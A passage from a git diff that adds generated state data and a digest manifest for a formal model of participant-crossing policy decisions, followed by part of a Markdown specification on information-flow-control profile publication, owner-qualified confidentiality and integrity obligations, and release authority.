uest-0","p1","deny"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p1","fresh"],"last":["request-0","p1","permit"],"phase":"delivery-pending"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p1","fresh"],"last":["request-0","p1","transform"],"phase":"committing"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","plain","p0","fresh"],"last":["request-0","p0","permit"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","transform","p0","fresh"],"last":["request-0","p0","transform"],"phase":"terminal"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p0","later-cut"],"last":["request-0","p0","unsupported"],"phase":"resolving-cut"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","declassify","p1","fresh"],"last":["request-0","p1","declassify"],"phase":"delivery-pending"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p1","same-cut"],"last":["request-0","p1","deny"],"phase":"resolving-cut"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","plain","p1","fresh"],"last":["request-0","p1","permit"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p1","fresh"],"last":["request-0","p1","transform"],"phase":"delivery-pending"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"resolving-cut"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"deny","head":"h1","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"deny","delivery":"withheld","gate":"unresolved","head":"h1","intent":["request-0","declassify","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"deny","head":"h1","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"deny","delivery":"withheld","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p0","later-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p0","later-cut"],"last":["request-0","p0","permit"],"phase":"validating"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","transform","p0","fresh"],"last":["request-0","p0","transform"],"phase":"terminal"},{"capability":"unsupported","cut":"p0","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p0","later-cut"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","declassify","p1","fresh"],"last":["request-0","p1","declassify"],"phase":"terminal"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","forbidden","p1","same-cut"],"last":["request-0","p1","deny"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","transform","p1","fresh"],"last":["request-0","p1","transform"],"phase":"terminal"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"resolving-capability"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p0","later-cut"],"last":["request-0","p0","permit"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p0","later-cut"],"last":["request-0","p0","transform"],"phase":"validating"},{"capability":"unsupported","cut":"p0","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h1","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"validating"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"deny","head":"h1","intent":["request-0","forbidden","p1","same-cut"],"last":["request-0","p1","deny"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"resolving-cut"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"validating"},{"capability":"unsupported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"gating"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","declassify","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","forbidden","p0","same-cut"],"last":["request-0","p0","deny"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"permit","delivery":"delivered","gate":"unresolved","head":"h1","intent":["request-0","plain","p0","later-cut"],"last":["request-0","p0","permit"],"phase":"terminal"},{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p0","later-cut"],"last":["request-0","p0","transform"],"phase":"resolving-cut"},{"capability":"unsupported","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h1","intent":["request-0","unsupported","p0","same-cut"],"last":["request-0","p0","unsupported"],"phase":"terminal"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"resolving-cut"},{"capability":"supported","cut":"p1","decision":"deny","delivery":"withheld","gate":"deny","head":"h1","intent":["request-0","forbidden","p1","same-cut"],"last":["request-0","p1","deny"],"phase":"terminal"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"resolving-capability"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"resolving-cut"},{"capability":"unsupported","cut":"p1","decision":"unsupported","delivery":"withheld","gate":"permit","head":"h1","intent":["request-0","unsupported","p1","same-cut"],"last":["request-0","p1","unsupported"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"preparing-record"},{"capability":"supported","cut":"p0","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"transform","delivery":"delivered","gate":"unresolved","head":"h1","intent":["request-0","transform","p0","later-cut"],"last":["request-0","p0","transform"],"phase":"terminal"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"resolving-capability"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"gating"},{"capability":"unresolved","cut":"p1","decision":"none","delivery":"none","gate":"unresolved","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"resolving-capability"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"committing"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"none","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"gating"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"none","delivery":"none","gate":"permit","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"gating"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"delivery-pending"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"none","gate":"permit","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"committing"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"none","gate":"permit","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"preparing-record"},{"capability":"supported","cut":"p0","decision":"permit","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"committing"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"delivery-pending"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"preparing-record"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","plain","p0","same-cut"],"last":["request-0","p0","permit"],"phase":"terminal"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"delivery-pending"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"committing"},{"capability":"supported","cut":"p1","decision":"permit","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","plain","p1","same-cut"],"last":["request-0","p1","permit"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"committing"},{"capability":"supported","cut":"p0","decision":"transform","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"delivery-pending"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"pending","gate":"permit","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"delivery-pending"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","transform","p0","same-cut"],"last":["request-0","p0","transform"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"declassify","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","declassify","p1","same-cut"],"last":["request-0","p1","declassify"],"phase":"terminal"},{"capability":"supported","cut":"p1","decision":"transform","delivery":"delivered","gate":"permit","head":"h1","intent":["request-0","transform","p1","same-cut"],"last":["request-0","p1","transform"],"phase":"terminal"}]} diff --git a/specs/formal/participant-semantics/crossing-models/rev2/manifest.json b/specs/formal/participant-semantics/crossing-models/rev2/manifest.json new file mode 100644 index 000000000..535599ef0 --- /dev/null +++ b/specs/formal/participant-semantics/crossing-models/rev2/manifest.json @@ -0,0 +1 @@ +{"artifact_digests":{"abstract.aut":"sha256:5891bbc5b3da53c7345f383da7f935ee9f8f0e4dd56b50c6edc132bbbd33964b","abstract.json":"sha256:8a5804e83b674b2099206b113101e2a45e60d7f08996af099dfe685e494173e3","concrete.aut":"sha256:8d8ca9681c2893abf048a0988aa5efc76c22e1fe148c4c75be78780e9be09b39","concrete.json":"sha256:108384d53dadb8aff695d9591c6fa8908af753bee14d56ed37d4c5c382203691"},"catalog_digest":"sha256:0968aee4778afb3cd904eb4942e20b549d173321653c4bc356c13af5841bd7c5","catalog_revision":"rev8","complete_reachable_fixed_point":true,"domain_counts":{"audience":1,"controller":1,"decision":6,"delivery":4,"episode":1,"history_head":4,"input_class":5,"participant":1,"policy_cut":2,"replay":3,"request_id":1},"equivalence_result":"not-established","explicit_non_claims":["No equivalence or live-runtime result is established by construction."],"limitations":["One fresh operation and retries; no identity recycling."],"models":{"abstract":{"initial_state":{"cut":"p0","decision":"none","delivery":"none","intent":null,"last":null,"phase":"idle"},"initial_states":1,"reachable_phases":["decided","delivery-pending","idle","offered","terminal"],"states":88,"transitions":107},"concrete":{"initial_state":{"capability":"unresolved","cut":"p0","decision":"none","delivery":"none","gate":"unresolved","head":"h0","intent":null,"last":null,"phase":"idle"},"initial_states":1,"reachable_phases":["committing","delivery-pending","gating","idle","preparing-record","resolving-capability","resolving-cut","terminal","validating"],"states":178,"transitions":197}},"profile_digest":"sha256:4439d8ece4d8977f2d991b9ef6b5a73a98951ace513adf80ea4496923985dbb4","profile_file_digest":"sha256:47c02f085aa6952333f75512c9eb7ffc5f7b7982ba49ee0dba4c5a3c32857db4","profile_id":"participant-crossing-dpbb-finite-v1","profile_revision":"rev2","projection":"participant-crossing-projection@rev1","runtime_realization":"not-established","schema":"participant-crossing-model-bundle/v1","source_digests":{"implementations/formal/participant_crossing/__init__.py":"sha256:f51f0d2c6683d45c41da9712da916ccd8df86a96eff4e97d9274a1ee55a96fba","implementations/formal/participant_crossing/__main__.py":"sha256:f608aeb63a97fac9e45ef3855c5a8ddb0aaa9710168aac9fba57e868c600a802","implementations/formal/participant_crossing/abstract.py":"sha256:efbd1672a1687a21930625a1a16177b450d037f5bddf2047cb17832bf9d26531","implementations/formal/participant_crossing/aut.py":"sha256:8ddf46d2cf08986aa99c2b3a39a6817850c321cb09bc9294472fd684fc0b00f8","implementations/formal/participant_crossing/concrete.py":"sha256:9d2e3c716e76b20b956d0a5d5d49a3533022663a04b6ad5baa318f2e3bd5b3b5","implementations/formal/participant_crossing/export.py":"sha256:922f5066a5b85ffe78abe7a79c215103b9ec05217d5ebd1021e9650713ef7948","implementations/formal/participant_crossing/graph.py":"sha256:18d6846bebb31bda0ecacd3e64a4c86c17309b9734d3ea9ed87c4fab7b07a37d","implementations/formal/participant_crossing/ingress.py":"sha256:9acf962a2c409d55dfd909f699a11e1a8ba995992fe7826db106b96edb0af95b","implementations/python/packages/raes_contracts/_behavioral_profile_loader.py":"sha256:e37cc424cc52cb0a210f63a126664bb82d6f3d3e2675b65501fcde75e31eb7dd","implementations/python/packages/raes_contracts/_canonical.py":"sha256:699b5b6801ec1b23c08676789114e77ccfcae3ed458f12a48670967b5fa2c13d","implementations/python/packages/raes_contracts/_participant_crossing_profile.py":"sha256:59d4da70d8de477947888e39f70b43176499297e2b6ad3629ea31d92d2ea1afd","implementations/python/packages/raes_contracts/behavioral_relation_profiles.py":"sha256:9ce0b3e28aa73a4cb85aaf9b8336e2020169bf5b387473f70da1922a4f5b1716","implementations/python/packages/raes_contracts/canonical.py":"sha256:eff8b51fee43ebb09628abf71612ed73eb403825c93219851965079837fed52a","implementations/python/packages/raes_contracts/contracts/participant_crossing.py":"sha256:c3ac84309e48d6944b9f036940954af5df2f2127c4f56b47f4d803c736bf9e3f","implementations/python/packages/raes_contracts/contracts/participant_crossing_validation.py":"sha256:a6bb4cddfcd06e5fa15ef605106c6baed12c2b8d4e997247b148bdad0a7ef50b","implementations/python/packages/raes_contracts/json_ingress.py":"sha256:b2ae13274cb0752f9f97828032a26283456efc2483110908dd09c52ca243faa5","implementations/python/packages/raes_runtime/control_plane_store.py":"sha256:2631ca837ee1fdd4ecede34c352ea4c0290c5f4f906c2ace1917f9b0de1ef6e2","implementations/python/packages/raes_runtime/participant_crossing_boundary.py":"sha256:88e1e16512251d48ad0f8f52a1bebaff7d90fe2be3b413221b460241344b6d56","implementations/python/packages/raes_runtime/participant_crossing_commit.py":"sha256:0a687c3e02c832a94fa25c88bc0e64c93098ad8f974011b5903132edaa76ba96","implementations/python/packages/raes_runtime/participant_crossing_egress.py":"sha256:87c8e0b11e5a78e5ff69a09801719ef554e6d7934bf44feccc8517a50aff064a","implementations/python/packages/raes_runtime/participant_crossing_mediation.py":"sha256:dd9e0e2b74176e73419007a37c60e66ea6c282dbb11c09e56fae7074bde4355f","implementations/python/packages/raes_runtime/participant_crossing_policy.py":"sha256:50344823aaaa545deca2848e1eeaff3e84d1143d9d3a679536e0848ee6229ee7","implementations/python/packages/raes_runtime/participant_crossing_records.py":"sha256:ceb2cde1e61965135e0c884209dd77fbf1c774de6bf0aea8aab1616e91a09432","implementations/python/packages/raes_runtime/participant_crossing_state_cut.py":"sha256:3bd347d26c08888ea61d8d19600c43f7f1cad01daedc37da34d413b8153b24c2","implementations/python/uv.lock":"sha256:5d18f781062a6181e2a55d3f7d55911474005f091ba9babcfec40d4030276dad","specs/formal/participant-semantics/information-flow-control.md":"sha256:22e56877a1e439acdbe4e7c587e186f2420e06f366a4ab5875daa2bc5d63efb9","specs/formal/participant-semantics/participant-crossing-models.md":"sha256:b1a7884b356d0938f7c5534070161f96cd0a69ce74e0b24ec9da950e17ce8e29"},"source_revision":"sha256:8dc9b15892031047cdaca1d023ad9c0ae49dad181e15887fbb04b20f42e64666"} diff --git a/specs/formal/participant-semantics/ifc-profile-variability.md b/specs/formal/participant-semantics/ifc-profile-variability.md new file mode 100644 index 000000000..5840d0365 --- /dev/null +++ b/specs/formal/participant-semantics/ifc-profile-variability.md @@ -0,0 +1,190 @@ +# IFC profile variability and publication + +Semantic amendment: `ifc-profile-variability/rev1`, owned by SEM-233 and +SEM-235, issue #1354 and [ADR-114](../../../docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md). +This defines publication and support obligations. It registers no new portable +profile, authoring syntax, provider protocol or runtime behavior. The original +`sem-233/rev1`, `sem-235/rev1` and their published artifacts retain their meaning. + +## IFC-01 — Intent, meaning and realization + +| Boundary | Required information and authority | +| --- | --- | +| Authored requirement | Independent confidentiality owners/clauses, allowed audiences and destinations, possible writers and integrity obligations, required release distinctions, sources/flows/sinks, memory scope, minimum guarantees and admissible limitations. An exact governed profile/policy reference may supply these; an author assertion grants no release authority. | +| Published semantic profile | Exact carrier and encoding, token meaning, order, conservative join, source/default and sink relations, release and non-influence relations, memory scope, unknown behavior, finite bounds and claim limits. | +| Backend/operator configuration | Installed implementation and configuration identity, admitted principal/source/sink bindings, instrumentation, effective coverage, resources, willingness and independently resolved realization evidence. These instantiate published relations; they cannot redefine them. | + +Keep semantic identity, profile ID/revision/digest, policy, schema content, +provider protocol, implementation and configuration pins distinct. A role, +display name, credential, token prefix or participant identity alone does not +identify an obligation owner or prove its release authority. Resolve that +relation through admitted principal and policy context. + +The chosen variability is governed publication of closed finite profiles. +It is sufficient for a fixed finite set of owner-qualified obligations without +a new policy language. Backend bindings may vary concrete principals and sinks +only where the published relation already permits those bindings. They may not +silently turn a generic token into a new owner algebra. + +This amendment introduces no parameterized owner syntax. Repeated deployment +needs may justify bounded typed owner parameters in a later publication, but +that decision must specify admitted identity scope, canonical binding identity, +finite bounds, authority, validation and every consumer. Arbitrary/unbounded +runtime owners, scenario-selected code, plugin discovery and executable profile +content are unsupported. A new owner outside a published universe requires a +new governed publication or a separately justified parameter contract. + +## IFC-02 — Distinctions that an encoding must preserve + +For security, retain `P(C) × P(I)` and componentwise union. An obligation names +a revisioned clause, including its owner and independently scoped release +relation where applicable. Owner A's confidentiality clause permits Alice and +Bob; B's permits Bob and Carol. A combination retains `{C_A, C_B}`: only Bob +satisfies both clauses. Joining obligations intersects acceptable audiences; +it never unions them. Equal current reader sets do not make independently +releasable owners equivalent. + +Likewise, `{I_A, I_B}` records independent unresolved integrity obligations +from two possible influences. Endorsing A's contribution leaves `I_B` and +both influence histories. A permissive observation sink may accept known +untrusted B influence without endorsement; a later action sink still evaluates +that influence against its own requirements. Unknown source resolution is +never known untrusted input or a public/trusted bottom label. + +An encoding is adequate for an authored requirement only if it preserves the +required distinctions through source resolution, derivation, independent +release, memory and every required sink. All encoded permits must respect the +authored prohibitions, and all required functional distinctions must remain +realizable. A conservative refusal of every flow does not satisfy a requirement +that also requires selective authorized sharing. + +Collapsing `C_A` and `C_B` into `restricted` cannot directly represent independent +owner release. Independently trusted contextual policy/provenance can impose +additional restrictions, but an exact support claim must demonstrate the full +encoding and release relation. Owner names in audit text or a backend-private +convention are insufficient. Admitted over-restriction may satisfy a narrower +requirement; it is neither exact expressiveness nor a license to discard a +functional obligation. A token cannot be repurposed against its published meaning. + +SEM-235 domains in general keep MPC-04's partial order and total conservative +join. They need not be powersets or satisfy an additional least-upper-bound +theorem. This security specialization does not narrow those other domains. + +## IFC-03 — Propagation and release + +Every opaque summary, parse, redaction, trusted edit, argument/control choice, +retained memory, shared state, handoff and participant/episode crossing carries +the conservative join of every possible input. Missing coverage is unresolved, +not an empty input set. Exclusion needs the published non-influence relation +and its evidence. All historical labels and source/influence refs are immutable. + +Declassification discharges only named confidentiality obligations; +endorsement discharges only named integrity obligations. Independently trusted +resolution must establish authority over **each** discharged obligation, +including every affected owner's clause. A grant for A does not cover B. +Approval, authentication, admission, trusted editing and monitor advice imply +neither operation. Both operations bind source and fresh result identity, +unchanged coordinate, exact profile/policy revision, sink/destination/audience, +authority, state cut and evidence. Provenance remains after discharge. + +This is the semantic discharge relation. The current wire endorsement carrier +requires nonempty source-to-result token replacements. An owner-aware contract +must publish and verify how its replacements represent discharge while retaining +remaining obligations and writer provenance, or publish a distinct supported +carrier. The existing `integrity:endorsed` token does not mean that all owners +have endorsed every influence. This amendment does not change that carrier. + +## IFC-04 — Admission and negotiation + +Reuse [CA-01–CA-04](control-applicability-and-evaluation.md), API-407 effective +support and API-424 bindings; do not create a competing strength rank. + +At apparatus admission and the relevant exact cut, establish in order: + +1. Resolve the authored requirement and every mandatory obligation independently + of provider responses. Proven inapplicability, absence and unresolved + coverage retain their different meanings. +2. Resolve the exact published profile/encoding and all supported readers. + Establish IFC-02 expressibility, source/default semantics and IFC-03 release + authority. Unknown identities, tokens, revisions, mappings or ambiguous + interpretations are unsupported, regardless of schema validity. +3. Resolve installed and effective realization for the required sources, + explicit data/control paths, memory/crossing scope, sinks, release operations, + finite bounds and evidence. A declaration, configuration digest, method name + or generic modular-control feature is insufficient. +4. Apply CA-04 satisfaction to that coverage, guarantee, admissible loss and + evidence. Record required, declared, installed, effective and admitted + guarantees and limitations separately. Incomparable or unknown evidence + cannot satisfy an obligation. Bounded support is admissible only when the + authored requirement already permits those precise bounds. + +Failure to express a requirement and failure to realize an expressible one are +distinct unsupported reasons. Neither is an ordinary policy denial inside a +supported profile. All prevent the affected mandatory release. A supported +policy may separately deny a particular flow. Optional advice cannot authorize +a mandatory IFC operation or hide missing coverage. + +## IFC-05 — Admitted strength and execution weakening + +An admitted bounded guarantee is the guarantee the run promised, within its +authored constraints. It is not an unexpected downgrade from an implicitly +perfect implementation. Conversely, a later loss of promised coverage, +enforcement, authority, freshness or evidence is weakening/failure even if an +earlier minimum requirement would still have accepted the reduced capability. +It must be recorded; it cannot silently redefine the admitted binding. + +Before each affected external effect or disclosure, revalidate the exact +binding, current cut and effective guarantees with all incumbent gates. Missing +required evidence, unsupported binding, stale cut or unaccepted weakening +prevents release. Evaluate and commit through the existing atomic transition +before dispatch; committed intent is not proof of external application. + +A separately authorized new requirement/profile binding at a new cut may +accept different limits only if every remaining owner and mandatory obligation +is satisfied. Downgrade authorization alone is not satisfaction. Replacing a +provider, configuration or profile does not reinterpret old decisions, erase +memory or authorize replay. Preserve CA-01–CA-09's dependency closure, advice +limits, scoped state, phase-independent parent decisions, independent effect +authority and finite causal budgets. + +## IFC-06 — Governed publication and exact present limits + +A new finite profile publication must include its full IFC-01 contract, +separating cases and bounds, conservative propagation and release evidence, +semantic identity, compatibility/migration rules and claim limits. Portable +adoption additionally needs coherent closed models, schemas, fixtures, +allowlisted loaders, modular fact/selection dispatch, trusted context and +per-obligation authority validation, capability negotiation, runtime/history +readers and conformance. Use ADR-009/061's existing publication ledger, +`schema_bundle()` parity and packaged corpus. A new JSON file or relaxed digest +check alone is insufficient. Stable breaking contracts require a new contract +identity; draft mutability never permits silent semantic reinterpretation. + +| Surface at the #1354 design cut | Exact supported meaning and limit | +| --- | --- | +| General SEM-233 algebra | Finite owner-relative clauses are expressible in principle; synthetic models do not publish portable profiles. | +| `participant-boundary-flow-policy-v1@rev1` | Exactly `confidentiality:restricted`, `confidentiality:unknown`; and `integrity:endorsed`, `integrity:unknown`, `integrity:untrusted`. No independent owner tokens or owner parameters. Unknown is unresolved, never a spare owner slot. | +| Profile loader/model | Exact allowlisted ID/revision/digest and fixed semantic authority; no latest fallback. The schema's maximum 128 entries per coordinate is a shape bound, not extensibility authorization. | +| Modular profile/fact consumers | Closed security and 